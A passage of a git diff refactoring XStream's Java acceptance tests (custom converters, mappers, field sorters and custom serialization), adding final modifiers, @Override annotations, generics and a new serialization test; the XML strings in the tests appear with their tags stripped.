java.text.DecimalFormat; -import java.text.ParseException; public class CustomConverterTest extends AbstractAcceptanceTest { - + private final class DoubleConverter implements SingleValueConverter { private final DecimalFormat formatter; @@ -25,19 +26,22 @@ private DoubleConverter() { formatter = new DecimalFormat("#,###,##0"); } - public boolean canConvert(Class type) { + @Override + public boolean canConvert(final Class type) { return type == double.class || type == Double.class; } - public String toString(Object obj) { - return this.formatter.format(obj); + @Override + public String toString(final Object obj) { + return formatter.format(obj); } - public Object fromString(String str) { + @Override + public Object fromString(final String str) { try { // the formatter will chose the most appropriate format ... Long - return this.formatter.parseObject(str); - } catch (ParseException e) { + return formatter.parseObject(str); + } catch (final ParseException e) { throw new ConversionException(e); } } @@ -46,23 +50,19 @@ public Object fromString(String str) { public static class DoubleWrapper { Double d; - public DoubleWrapper(double d) { + public DoubleWrapper(final double d) { this.d = new Double(d); } - - protected DoubleWrapper() { - // JDK 1.3 issue - } } public void testWrongObjectTypeReturned() { xstream.alias("dw", DoubleWrapper.class); xstream.registerConverter(new DoubleConverter()); - String xml = "" + - "\n" + - " -92.000.000\n" + - ""; + final String xml = "" // + + "\n" + + " -92.000.000\n" + + ""; try { xstream.fromXML(xml); diff --git a/xstream/src/test/com/thoughtworks/acceptance/CustomFieldKeySorterTest.java b/xstream/src/test/com/thoughtworks/acceptance/CustomFieldKeySorterTest.java index fe8e899b1..8db636c75 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/CustomFieldKeySorterTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/CustomFieldKeySorterTest.java @@ -1,33 +1,35 @@ /* - * Copyright (C) 2007, 2014 XStream Committers. + * Copyright (C) 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 17. May 2007 by Joerg Schaible */ package com.thoughtworks.acceptance; +import java.lang.reflect.Field; +import java.util.Comparator; +import java.util.Map; +import java.util.TreeMap; + import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.converters.reflection.FieldDictionary; import com.thoughtworks.xstream.converters.reflection.FieldKey; import com.thoughtworks.xstream.converters.reflection.FieldKeySorter; import com.thoughtworks.xstream.converters.reflection.PureJavaReflectionProvider; -import java.util.Comparator; -import java.util.Map; -import java.util.TreeMap; - /** * @author Jörg Schaible */ public class CustomFieldKeySorterTest extends AbstractAcceptanceTest { + @Override protected XStream createXStream() { - XStream xstream = new XStream(new PureJavaReflectionProvider(new FieldDictionary( + final XStream xstream = new XStream(new PureJavaReflectionProvider(new FieldDictionary( new AlphabeticalFieldkeySorter()))); setupSecurity(xstream); return xstream; @@ -51,7 +53,7 @@ static class Second extends First { public void testSortsAlphabetically() { xstream.alias("second", Second.class); - String xml = "" + final String xml = "" + "\n" + " a\n" + " b\n" @@ -65,19 +67,17 @@ public void testSortsAlphabetically() { } private static class AlphabeticalFieldkeySorter implements FieldKeySorter { + @Override + public Map sort(final Class type, final Map keyedByFieldKey) { + final Map map = new TreeMap<>(new Comparator() { - public Map sort(Class type, Map keyedByFieldKey) { - Map map = new TreeMap(new Comparator() { - - public int compare(Object o1, Object o2) { - final FieldKey fieldKey1 = (FieldKey)o1; - final FieldKey fieldKey2 = (FieldKey)o2; + @Override + public int compare(final FieldKey fieldKey1, final FieldKey fieldKey2) { return fieldKey1.getFieldName().compareTo(fieldKey2.getFieldName()); } }); map.putAll(keyedByFieldKey); return map; } - } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/CustomMapperTest.java b/xstream/src/test/com/thoughtworks/acceptance/CustomMapperTest.java index 840be612f..215a01ea8 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/CustomMapperTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/CustomMapperTest.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2013, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2013, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 06. March 2005 by Joe Walnes */ package com.thoughtworks.acceptance; @@ -27,17 +27,19 @@ import com.thoughtworks.xstream.mapper.Mapper; import com.thoughtworks.xstream.mapper.MapperWrapper; + public class CustomMapperTest extends AbstractAcceptanceTest { /** * A sample mapper strips the underscore prefix of field names in the XML */ private static class FieldPrefixStrippingMapper extends MapperWrapper { - public FieldPrefixStrippingMapper(Mapper wrapped) { + public FieldPrefixStrippingMapper(final Mapper wrapped) { super(wrapped); } - public String serializedMember(Class type, String memberName) { + @Override + public String serializedMember(final Class type, String memberName) { if (memberName.startsWith("_")) { // _blah -> blah memberName = memberName.substring(1); // chop off leading char (the underscore) @@ -48,19 +50,20 @@ public String serializedMember(Class type, String memberName) { return super.serializedMember(type, memberName); } - public String realMember(Class type, String serialized) { - String fieldName = super.realMember(type, serialized); + @Override + public String realMember(final Class type, final String serialized) { + final String fieldName = super.realMember(type, serialized); // Not very efficient or elegant, but enough to get the point across. // Luckily the CachingMapper will ensure this is only ever called once per field per class. try { type.getDeclaredField("_" + fieldName); return "_" + fieldName; - } catch (NoSuchFieldException e) { + } catch (final NoSuchFieldException e) { try { - String myified = "my" + fieldName.substring(0, 1).toUpperCase() + fieldName.substring(1); + final String myified = "my" + fieldName.substring(0, 1).toUpperCase() + fieldName.substring(1); type.getDeclaredField(myified); return myified; - } catch (NoSuchFieldException e2) { + } catch (final NoSuchFieldException e2) { return fieldName; } } @@ -68,117 +71,125 @@ public String realMember(Class type, String serialized) { } public static class ThingWithStupidNamingConventions extends StandardObject { + private static final long serialVersionUID = 200503L; String _firstName; String lastName; int myAge; - public ThingWithStupidNamingConventions(String firstname, String lastname, int age) { + public ThingWithStupidNamingConventions(final String firstname, final String lastname, final int age) { _firstName = firstname; - this.lastName = lastname; + lastName = lastname; myAge = age; } } public void testUserDefinedMappingCanAlterFieldName() { xstream = new XStream() { - protected MapperWrapper wrapMapper(MapperWrapper next) { + @Override + protected MapperWrapper wrapMapper(final MapperWrapper next) { return new FieldPrefixStrippingMapper(next); } }; setupSecurity(xstream); xstream.alias("thing", ThingWithStupidNamingConventions.class); - ThingWithStupidNamingConventions in = new ThingWithStupidNamingConventions("Joe", "Walnes", 10); - String expectedXml = "" - + "\n" - + " Joe\n" // look, no underscores! - + " Walnes\n" - + " 10\n" - + ""; + final ThingWithStupidNamingConventions in = new ThingWithStupidNamingConventions("Joe", "Walnes", 10); + final String expectedXml = "" + + "\n" + + " Joe\n" // look, no underscores! + + " Walnes\n" + + " 10\n" + + ""; assertBothWays(in, expectedXml); } private static class PackageStrippingMapper extends MapperWrapper { - public PackageStrippingMapper(Mapper wrapped) { + public PackageStrippingMapper(final Mapper wrapped) { super(wrapped); } - public String serializedClass(Class type) { + @Override + public String serializedClass(final Class type) { return type.getName().replaceFirst(".*\\.", ""); } } - + public void testStripsPackagesUponDeserialization() { // obviously this isn't deserializable! xstream = new XStream() { - protected MapperWrapper wrapMapper(MapperWrapper next) { + @Override + protected MapperWrapper wrapMapper(final MapperWrapper next) { return new PackageStrippingMapper(next); } }; // NOTE: no aliases defined! - String expectedXml = "" + - "\n" + - " ms\n" + - " word\n" + - ""; + final String expectedXml = "" + + "\n" + + " ms\n" + + " word\n" + + ""; assertEquals(expectedXml, xstream.toXML(new Software("ms", "word"))); } - + public void testOwnMapperChainCanBeRegistered() { - ClassLoaderReference classLoaderReference = new ClassLoaderReference(getClass().getClassLoader()); - Mapper mapper = new DefaultMapper(classLoaderReference); - xstream = new XStream(new PureJavaReflectionProvider(), new DomDriver(), getClass().getClassLoader(), mapper); - - String expected = "" + - "\n" + - " ms\n" + - " word\n" + - ""; + final ClassLoaderReference classLoaderReference = new ClassLoaderReference(getClass().getClassLoader()); + final Mapper mapper = new DefaultMapper(classLoaderReference); + xstream = new XStream(new PureJavaReflectionProvider(), new DomDriver(), classLoaderReference, mapper); + + final String expected = "" + + "\n" + + " ms\n" + + " word\n" + + ""; assertEquals(expected, xstream.toXML(new Software("ms", "word"))); } - + public void testCanBeUsedToOmitUnexpectedElements() { - String expectedXml = "" + - "\n" + - " 1.0\n" + - " Joe\n" + - " XStream\n" + - ""; + final String expectedXml = "" + + "\n" + + " 1.0\n" + + " Joe\n" + + " XStream\n" + + ""; xstream = new XStream() { - protected MapperWrapper wrapMapper(MapperWrapper next) { + @Override + protected MapperWrapper wrapMapper(final MapperWrapper next) { return new MapperWrapper(next) { - public boolean shouldSerializeMember(Class definedIn, String fieldName) { + @Override + public boolean shouldSerializeMember(final Class definedIn, final String fieldName) { return definedIn != Object.class ? super.shouldSerializeMember(definedIn, fieldName) : false; } - + }; } - + }; setupSecurity(xstream); xstream.alias("software", Software.class); - Software out = (Software) xstream.fromXML(expectedXml); + final Software out = xstream.fromXML(expectedXml); assertEquals("Joe", out.vendor); assertEquals("XStream", out.name); } public void testInjectingReplacements() { - XStream xstream = new XStream() { + final XStream xstream = new XStream() { - protected MapperWrapper wrapMapper(MapperWrapper next) { + @Override + protected MapperWrapper wrapMapper(final MapperWrapper next) { return new MapperWrapper(next) { - public Class realClass(String elementName) { + @Override + public Class realClass(final String elementName) { try { return super.realClass(elementName); - } catch (CannotResolveClassException e) { + } catch (final CannotResolveClassException e) { if (elementName.endsWith("oo")) { return Integer.class; } @@ -188,21 +199,21 @@ public Class realClass(String elementName) { throw e; } } - + }; } }; setupSecurity(xstream); xstream.alias("wl", WithList.class); - WithList wl = (WithList)xstream.fromXML("" - + "\n" - + " \n" - + " 1\n" - + " 2\n" - + " \n" - + ""); - assertEquals(new ArrayList(Arrays.asList(new Integer[]{new Integer(1), new Integer(2)})), wl.things); + final WithList wl = xstream.fromXML("" + + "\n" + + " \n" + + " 1\n" + + " 2\n" + + " \n" + + ""); + assertEquals(new ArrayList<>(Arrays.asList(new Integer[]{new Integer(1), new Integer(2)})), wl.things); assertTrue(wl.things instanceof LinkedList); } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/CustomSerializationTest.java b/xstream/src/test/com/thoughtworks/acceptance/CustomSerializationTest.java index 34cecf15a..45f0bc805 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/CustomSerializationTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/CustomSerializationTest.java @@ -1,30 +1,34 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2015, 2018, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 23. August 2004 by Joe Walnes */ package com.thoughtworks.acceptance; -import com.thoughtworks.acceptance.objects.Hardware; -import com.thoughtworks.acceptance.objects.Software; -import com.thoughtworks.acceptance.objects.StandardObject; - import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.ObjectStreamField; import java.io.Serializable; +import com.thoughtworks.acceptance.objects.Hardware; +import com.thoughtworks.acceptance.objects.Software; +import com.thoughtworks.acceptance.objects.StandardObject; +import com.thoughtworks.xstream.XStream; +import com.thoughtworks.xstream.converters.reflection.PureJavaReflectionProvider; + + public class CustomSerializationTest extends AbstractAcceptanceTest { public static class ObjectWithCustomSerialization extends StandardObject implements Serializable { - + private static final long serialVersionUID = 200408L; + @SuppressWarnings("unused") private int a; private transient int b; private transient String c; @@ -34,22 +38,22 @@ public static class ObjectWithCustomSerialization extends StandardObject impleme public ObjectWithCustomSerialization() { } - public ObjectWithCustomSerialization(int a, int b, String c, Software e) { + public ObjectWithCustomSerialization(final int a, final int b, final String c, final Software e) { this.a = a; this.b = b; this.c = c; this.e = e; } - private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { + private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { b = in.readInt(); in.defaultReadObject(); - c = (String) in.readObject(); + c = (String)in.readObject(); d = in.readObject(); - e = (Software) in.readObject(); + e = (Software)in.readObject(); } - private void writeObject(ObjectOutputStream out) throws IOException { + private void writeObject(final ObjectOutputStream out) throws IOException { out.writeInt(b); out.defaultWriteObject(); out.writeObject(c); @@ -60,51 +64,54 @@ private void writeObject(ObjectOutputStream out) throws IOException { } public void testWritesCustomFieldsToStream() { - ObjectWithCustomSerialization obj = new ObjectWithCustomSerialization(1, 2, "hello", new Software("tw", "xs")); + final ObjectWithCustomSerialization obj = new ObjectWithCustomSerialization(1, 2, "hello", new Software("tw", + "xs")); xstream.alias("custom", ObjectWithCustomSerialization.class); xstream.alias("software", Software.class); - String expectedXml = "" - + "\n" - + " \n" - + " 2\n" - + " \n" - + " 1\n" - + " \n" - + " hello\n" - + " \n" - + " \n" - + " tw\n" - + " xs\n" - + " \n" - + " \n" - + ""; + final String expectedXml = "" + + "\n" + + " \n" + + " 2\n" + + " \n" + + " 1\n" + + " \n" + + " hello\n" + + " \n" + + " \n" + + " tw\n" + + " xs\n" + + " \n" + + " \n" + + ""; assertBothWays(obj, expectedXml); } public static class Parent extends StandardObject implements Serializable { + private static final long serialVersionUID = 200408L; private transient int parentA; + @SuppressWarnings("unused") private int parentB; private transient int parentC; public Parent() { } - public Parent(int parentA, int parentB, int parentC) { + public Parent(final int parentA, final int parentB, final int parentC) { this.parentA = parentA; this.parentB = parentB; this.parentC = parentC; } - private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { + private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { parentA = in.readInt(); in.defaultReadObject(); parentC = in.readInt(); } - private void writeObject(ObjectOutputStream out) throws IOException { + private void writeObject(final ObjectOutputStream out) throws IOException { out.writeInt(parentA); out.defaultWriteObject(); out.writeInt(parentC); @@ -112,28 +119,31 @@ private void writeObject(ObjectOutputStream out) throws IOException { } public static class Child extends Parent { - + private static final long serialVersionUID = 200408L; private transient int childA; + @SuppressWarnings("unused") private int childB; private transient int childC; public Child() { } - public Child(int parentA, int parentB, int parentC, int childA, int childB, int childC) { + public Child( + final int parentA, final int parentB, final int parentC, final int childA, final int childB, + final int childC) { super(parentA, parentB, parentC); this.childA = childA; this.childB = childB; this.childC = childC; } - private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { + private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { childA = in.readInt(); in.defaultReadObject(); childC = in.readInt(); } - private void writeObject(ObjectOutputStream out) throws IOException { + private void writeObject(final ObjectOutputStream out) throws IOException { out.writeInt(childA); out.defaultWriteObject(); out.writeInt(childC); @@ -141,36 +151,38 @@ private void writeObject(ObjectOutputStream out) throws IOException { } public void testIncludesCompleteClassHierarchyWhenParentAndChildHaveSerializationMethods() { - Child child = new Child(1, 2, 3, 10, 20, 30); + final Child child = new Child(1, 2, 3, 10, 20, 30); xstream.alias("child", Child.class); xstream.alias("parent", Parent.class); - String expectedXml = "" - + "\n" - + " \n" - + " 1\n" - + " \n" - + " 2\n" - + " \n" - + " 3\n" - + " \n" - + " \n" - + " 10\n" - + " \n" - + " 20\n" - + " \n" - + " 30\n" - + " \n" - + ""; + final String expectedXml = "" + + "\n" + + " \n" + + " 1\n" + + " \n" + + " 2\n" + + " \n" + + " 3\n" + + " \n" + + " \n" + + " 10\n" + + " \n" + + " 20\n" + + " \n" + + " 30\n" + + " \n" + + ""; assertBothWays(child, expectedXml); } public static class Child2 extends Parent { + private static final long serialVersionUID = 200412L; - private int childA; + @SuppressWarnings("unused") + private final int childA; - public Child2(int parentA, int parentB, int parentC, int childA) { + public Child2(final int parentA, final int parentB, final int parentC, final int childA) { super(parentA, parentB, parentC); this.childA = childA; } @@ -178,60 +190,119 @@ public Child2(int parentA, int parentB, int parentC, int childA) { } public void testIncludesCompleteClassHierarchyWhenOnlyParentHasSerializationMethods() { - Child2 child = new Child2(1, 2, 3, 20); + final Child2 child = new Child2(1, 2, 3, 20); xstream.alias("child2", Child2.class); xstream.alias("parent", Parent.class); - String expectedXml = "" - + "\n" - + " \n" - + " 1\n" - + " \n" - + " 2\n" - + " \n" - + " 3\n" - + " \n" - + " \n" - + " \n" - + " 20\n" - + " \n" - + " \n" - + ""; + final String expectedXml = "" + + "\n" + + " \n" + + " 1\n" + + " \n" + + " 2\n" + + " \n" + + " 3\n" + + " \n" + + " \n" + + " \n" + + " 20\n" + + " \n" + + " \n" + + ""; assertBothWays(child, expectedXml); } + static class Pair { + protected F first; + protected S second; + + protected Pair() { + } + + public Pair(final F first, final S second) { + this.first = first; + this.second = second; + } + } + + static class SerializablePair extends Pair implements Serializable { + private static final long serialVersionUID = 20201214L; + + public SerializablePair(final F first, final S second) { + super(first, second); + } + + private void writeObject(final ObjectOutputStream out) throws IOException { + out.writeObject(first); + out.writeObject(second); + } + + @SuppressWarnings("unchecked") + private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { + first = (F)in.readObject(); + second = (S)in.readObject(); + } + } + + public void testCustomSerializationWithoutDefaultReadAndWriteObject() { + xstream = new XStream(new PureJavaReflectionProvider()); + setupSecurity(xstream); + xstream.alias("pair", Pair.class); + xstream.alias("serpair", SerializablePair.class); + + final String expectedXml = "" + + "\n" + + " \n" + + " 42\n" + + " fourty-two\n" + + " \n" + + " \n" + + " 42\n" + + " fourty-two\n" + + " \n" + + ""; + + final Pair pair = new SerializablePair<>(42, "fourty-two"); + assertBothWays(pair, expectedXml.replace('\'', '"')); + } + static class MyDate extends java.util.Date { - public MyDate(int time) { + private static final long serialVersionUID = 200410L; + + public MyDate(final int time) { super(time); } } - static class MyHashtable extends java.util.Hashtable { - private String name; + static class MyHashtable extends java.util.Hashtable { + private static final long serialVersionUID = 200412L; + private final String name; - public MyHashtable(String name) { + public MyHashtable(final String name) { this.name = name; } - public synchronized boolean equals(Object o) { - return super.equals(o) && ((MyHashtable)o).name.equals(name); + @Override + public synchronized boolean equals(final Object o) { + return super.equals(o) && ((MyHashtable)o).name.equals(name); } } public void testSupportsSubclassesOfClassesThatAlreadyHaveConverters() { - MyDate in = new MyDate(1234567890); - String xml = xstream.toXML(in); + final MyDate in = new MyDate(1234567890); + final String xml = xstream.toXML(in); assertObjectsEqual(in, xstream.fromXML(xml)); - MyHashtable in2 = new MyHashtable("hi"); + final MyHashtable in2 = new MyHashtable<>("hi"); in2.put("cheese", "curry"); in2.put("apple", new Integer(3)); - String xml2 = xstream.toXML(in2); + final String xml2 = xstream.toXML(in2); assertObjectsEqual(in2, xstream.fromXML(xml2)); } public static class ObjectWithNamedFields extends StandardObject implements Serializable { + private static final long serialVersionUID = 200501L; private String name; private int number; @@ -240,16 +311,13 @@ public static class ObjectWithNamedFields extends StandardObject implements Seri private Object nothing; private static final ObjectStreamField[] serialPersistentFields = { - new ObjectStreamField("theName", String.class), - new ObjectStreamField("theNumber", int.class), - new ObjectStreamField("theSoftware", Software.class), - new ObjectStreamField("thePolymorphic", Object.class), - new ObjectStreamField("theNothing", Object.class) - }; - - private void writeObject(ObjectOutputStream out) throws IOException { + new ObjectStreamField("theName", String.class), new ObjectStreamField("theNumber", int.class), + new ObjectStreamField("theSoftware", Software.class), new ObjectStreamField("thePolymorphic", Object.class), + new ObjectStreamField("theNothing", Object.class)}; + + private void writeObject(final ObjectOutputStream out) throws IOException { // don't call defaultWriteObject() - ObjectOutputStream.PutField fields = out.putFields(); + final ObjectOutputStream.PutField fields = out.putFields(); fields.put("theName", name); fields.put("theNumber", number); fields.put("theSoftware", someSoftware); @@ -258,12 +326,12 @@ private void writeObject(ObjectOutputStream out) throws IOException { out.writeFields(); } - private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { + private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { // don't call defaultReadObject() - ObjectInputStream.GetField fields = in.readFields(); - name = (String) fields.get("theName", "unknown"); + final ObjectInputStream.GetField fields = in.readFields(); + name = (String)fields.get("theName", "unknown"); number = fields.get("theNumber", -1); - someSoftware = (Software) fields.get("theSoftware", null); + someSoftware = (Software)fields.get("theSoftware", null); polymorphic = fields.get("thePolymorphic", null); nothing = fields.get("theNothing", null); } @@ -271,7 +339,7 @@ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundE } public void testAllowsNamedFields() { - ObjectWithNamedFields obj = new ObjectWithNamedFields(); + final ObjectWithNamedFields obj = new ObjectWithNamedFields(); obj.name = "Joe"; obj.number = 99; obj.someSoftware = new Software("tw", "xs"); @@ -281,23 +349,23 @@ public void testAllowsNamedFields() { xstream.alias("with-named-fields", ObjectWithNamedFields.class); xstream.alias("software", Software.class); - String expectedXml = "" - + "\n" - + " \n" - + " \n" - + " Joe\n" - + " 99\n" - + " \n" - + " tw\n" - + " xs\n" - + " \n" - + " \n" - + " small\n" - + " ipod\n" - + " \n" - + " \n" - + " \n" - + ""; + final String expectedXml = "" + + "\n" + + " \n" + + " \n" + + " Joe\n" + + " 99\n" + + " \n" + + " tw\n" + + " xs\n" + + " \n" + + " \n" + + " small\n" + + " ipod\n" + + " \n" + + " \n" + + " \n" + + ""; assertBothWays(obj, expectedXml); } @@ -306,35 +374,35 @@ public void testUsesDefaultIfNamedFieldNotFound() { xstream.alias("with-named-fields", ObjectWithNamedFields.class); xstream.alias("software", Software.class); - String inputXml = "" - + "\n" - + " \n" - + " \n" - + " \n" - + " tw\n" - + " xs\n" - + " \n" - + " \n" - + " small\n" - + " ipod\n" - + " \n" - + " \n" - + " \n" - + ""; - - ObjectWithNamedFields result = (ObjectWithNamedFields) xstream.fromXML(inputXml); + final String inputXml = "" + + "\n" + + " \n" + + " \n" + + " \n" + + " tw\n" + + " xs\n" + + " \n" + + " \n" + + " small\n" + + " ipod\n" + + " \n" + + " \n" + + " \n" + + ""; + + final ObjectWithNamedFields result = (ObjectWithNamedFields)xstream.fromXML(inputXml); assertEquals(-1, result.number); assertEquals("unknown", result.name); assertEquals(new Software("tw", "xs"), result.someSoftware); } public void testCustomStreamWithNestedCustomStream() { - ObjectWithNamedFields outer = new ObjectWithNamedFields(); + final ObjectWithNamedFields outer = new ObjectWithNamedFields(); outer.name = "Joe"; outer.someSoftware = new Software("tw", "xs"); outer.nothing = null; - ObjectWithNamedFields inner = new ObjectWithNamedFields(); + final ObjectWithNamedFields inner = new ObjectWithNamedFields(); inner.name = "Thing"; outer.polymorphic = inner; @@ -342,48 +410,48 @@ public void testCustomStreamWithNestedCustomStream() { xstream.alias("with-named-fields", ObjectWithNamedFields.class); xstream.alias("software", Software.class); - String expectedXml = "" - + "\n" - + " \n" - + " \n" - + " Joe\n" - + " 0\n" - + " \n" - + " tw\n" - + " xs\n" - + " \n" - + " \n" - + " \n" - + " \n" - + " Thing\n" - + " 0\n" - + " \n" - + " \n" - + " \n" - + " \n" - + " \n" - + ""; + final String expectedXml = "" + + "\n" + + " \n" + + " \n" + + " Joe\n" + + " 0\n" + + " \n" + + " tw\n" + + " xs\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " Thing\n" + + " 0\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + ""; assertBothWays(outer, expectedXml); } public static class NoDefaultFields extends StandardObject implements Serializable { - + private static final long serialVersionUID = 200501L; private transient int something; public NoDefaultFields() { } - public NoDefaultFields(int something) { + public NoDefaultFields(final int something) { this.something = something; } - private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { + private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); something = in.readInt(); } - private void writeObject(ObjectOutputStream out) throws IOException { + private void writeObject(final ObjectOutputStream out) throws IOException { out.defaultWriteObject(); out.writeInt(something); } @@ -393,23 +461,23 @@ private void writeObject(ObjectOutputStream out) throws IOException { public void testObjectWithCallToDefaultWriteButNoDefaultFields() { xstream.alias("x", NoDefaultFields.class); - String expectedXml = "" - + "\n" - + " \n" - + " \n" - + " 77\n" - + " \n" - + ""; + final String expectedXml = "" + + "\n" + + " \n" + + " \n" + + " 77\n" + + " \n" + + ""; assertBothWays(new NoDefaultFields(77), expectedXml); } public void testMaintainsBackwardsCompatabilityWithXStream1_1_0FieldFormat() { - ObjectWithNamedFields outer = new ObjectWithNamedFields(); + final ObjectWithNamedFields outer = new ObjectWithNamedFields(); outer.name = "Joe"; outer.someSoftware = new Software("tw", "xs"); outer.nothing = null; - ObjectWithNamedFields inner = new ObjectWithNamedFields(); + final ObjectWithNamedFields inner = new ObjectWithNamedFields(); inner.name = "Thing"; outer.polymorphic = inner; @@ -417,47 +485,46 @@ public void testMaintainsBackwardsCompatabilityWithXStream1_1_0FieldFormat() { xstream.alias("with-named-fields", ObjectWithNamedFields.class); xstream.alias("software", Software.class); - String oldFormatOfXml = "" - + "\n" - + " \n" - + " \n" - + " Joe\n" - + " 0\n" - + " \n" - + " tw\n" - + " xs\n" - + " \n" - + " \n" - + " \n" - + " \n" - + " Thing\n" - + " 0\n" - + " \n" - + " \n" - + " \n" - + " \n" - + " \n" - + ""; - + final String oldFormatOfXml = "" + + "\n" + + " \n" + + " \n" + + " Joe\n" + + " 0\n" + + " \n" + + " tw\n" + + " xs\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " Thing\n" + + " 0\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + ""; assertEquals(outer, xstream.fromXML(oldFormatOfXml)); } public static class ObjectWithNamedThatMatchRealFields extends StandardObject implements Serializable { - + private static final long serialVersionUID = 200502L; private String name; private int number; - private void writeObject(ObjectOutputStream out) throws IOException { - ObjectOutputStream.PutField fields = out.putFields(); + private void writeObject(final ObjectOutputStream out) throws IOException { + final ObjectOutputStream.PutField fields = out.putFields(); fields.put("name", name.toUpperCase()); fields.put("number", number * 100); out.writeFields(); } - private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { - ObjectInputStream.GetField fields = in.readFields(); - name = ((String) fields.get("name", "unknown")).toLowerCase(); + private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { + final ObjectInputStream.GetField fields = in.readFields(); + name = ((String)fields.get("name", "unknown")).toLowerCase(); number = fields.get("number", 10000) / 100; } @@ -466,35 +533,37 @@ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundE public void testSupportsWritingFieldsForObjectsThatDoNotExplicitlyDefineThem() { xstream.alias("an-object", ObjectWithNamedThatMatchRealFields.class); - ObjectWithNamedThatMatchRealFields input = new ObjectWithNamedThatMatchRealFields(); + final ObjectWithNamedThatMatchRealFields input = new ObjectWithNamedThatMatchRealFields(); input.name = "a name"; input.number = 5; - String expectedXml = "" - + "\n" - + " \n" - + " \n" - + " A NAME\n" - + " 500\n" - + " \n" - + " \n" - + ""; + final String expectedXml = "" + + "\n" + + " \n" + + " \n" + + " A NAME\n" + + " 500\n" + + " \n" + + " \n" + + ""; assertBothWays(input, expectedXml); } public static class ObjectThatReadsCustomFieldsButDoesNotWriteThem extends StandardObject implements Serializable { - + private static final long serialVersionUID = 200502L; + @SuppressWarnings("unused") private String name; + @SuppressWarnings("unused") private int number; - private void writeObject(ObjectOutputStream out) throws IOException { + private void writeObject(final ObjectOutputStream out) throws IOException { out.defaultWriteObject(); } - private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { - ObjectInputStream.GetField fields = in.readFields(); - name = ((String) fields.get("name", "unknown")); + private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { + final ObjectInputStream.GetField fields = in.readFields(); + name = (String)fields.get("name", "unknown"); number = fields.get("number", 10000); } @@ -503,57 +572,57 @@ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundE public void testSupportsGetFieldsWithoutPutFields() { xstream.alias("an-object", ObjectThatReadsCustomFieldsButDoesNotWriteThem.class); - ObjectThatReadsCustomFieldsButDoesNotWriteThem input = new ObjectThatReadsCustomFieldsButDoesNotWriteThem(); + final ObjectThatReadsCustomFieldsButDoesNotWriteThem input = + new ObjectThatReadsCustomFieldsButDoesNotWriteThem(); input.name = "a name"; input.number = 5; - String expectedXml = "" - + "\n" - + " \n" - + " \n" - + " 5\n" - + " a name\n" - + " \n" - + " \n" - + ""; + final String expectedXml = "" + + "\n" + + " \n" + + " \n" + + " 5\n" + + " a name\n" + + " \n" + + " \n" + + ""; assertBothWays(input, expectedXml); } - + public static class ObjectThatWritesCustomFieldsButDoesNotReadThem extends StandardObject implements Serializable { + private static final long serialVersionUID = 201502L; private static final ObjectStreamField[] serialPersistentFields = { - new ObjectStreamField("number", int.class), - new ObjectStreamField("name", String.class), - }; + new ObjectStreamField("number", int.class), new ObjectStreamField("name", String.class),}; - private void writeObject(ObjectOutputStream out) throws IOException { - ObjectOutputStream.PutField fields = out.putFields(); + private void writeObject(final ObjectOutputStream out) throws IOException { + final ObjectOutputStream.PutField fields = out.putFields(); fields.put("name", "test"); fields.put("number", 42); out.writeFields(); } - private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { + private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); } - } public void testSupportsPutFieldsWithoutGetFields() { xstream.alias("an-object", ObjectThatWritesCustomFieldsButDoesNotReadThem.class); - ObjectThatWritesCustomFieldsButDoesNotReadThem input = new ObjectThatWritesCustomFieldsButDoesNotReadThem(); - - String expectedXml = "" - + "\n" - + " \n" - + " \n" - + " test\n" - + " 42\n" - + " \n" - + " \n" - + ""; + final ObjectThatWritesCustomFieldsButDoesNotReadThem input = + new ObjectThatWritesCustomFieldsButDoesNotReadThem(); + + final String expectedXml = "" + + "\n" + + " \n" + + " \n" + + " test\n" + + " 42\n" + + " \n" + + " \n" + + ""; assertBothWays(input, expectedXml); } diff --git a/xstream/src/test/com/thoughtworks/acceptance/DataHolderTest.java b/xstream/src/test/com/thoughtworks/acceptance/DataHolderTest.java index ef44a8faf..dc3be4a36 100644 --- 